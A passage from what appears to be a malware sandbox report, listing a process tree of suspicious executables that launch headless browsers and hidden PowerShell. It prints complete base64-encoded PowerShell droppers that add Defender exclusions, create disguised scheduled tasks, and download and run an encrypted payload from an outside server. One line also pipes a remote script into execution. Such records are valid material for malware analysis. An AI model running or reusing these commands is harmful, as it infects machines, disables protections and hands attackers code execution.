AZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10360
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:11088
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:10456
- - C:\Windows\system32\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:2540
  - - C:\Users\Admin\AppData\Local\ca688f27-990e-4c0a-83ac-557caf0f58f8\background.exe
      "C:\Users\Admin\AppData\Local\ca688f27-990e-4c0a-83ac-557caf0f58f8\background.exe"
      4⤵
      PID:10488
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        
        PID:14128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:14140
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:14152
- - C:\Windows\system32\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:3860
- - C:\Windows\system32\a\v38438.exe
    v38438.exe
    3⤵
    PID:3084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File index.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ".(gal ?rm) 79.8141710/cl-ncl-start | .('CLieCLx'.Replace('CL', ''))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10176
- - C:\Windows\system32\a\he.exe
    he.exe
    3⤵
    PID:1392
- - C:\Windows\system32\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:3920
  - - C:\Users\Admin\AppData\Local\5ff818c6-827d-4d9b-8332-04cd0279c5c2\background.exe
      "C:\Users\Admin\AppData\Local\5ff818c6-827d-4d9b-8332-04cd0279c5c2\background.exe"
      4⤵
      PID:11296
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        
        PID:13220
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:13276
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:11016
- - C:\Windows\system32\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:3536
  - - C:\Users\Admin\AppData\Local\150d4d8a-1e07-4361-9cb0-1747b2bee103\background.exe
      "C:\Users\Admin\AppData\Local\150d4d8a-1e07-4361-9cb0-1747b2bee103\background.exe"
      4⤵
      PID:11020
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:4460
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAg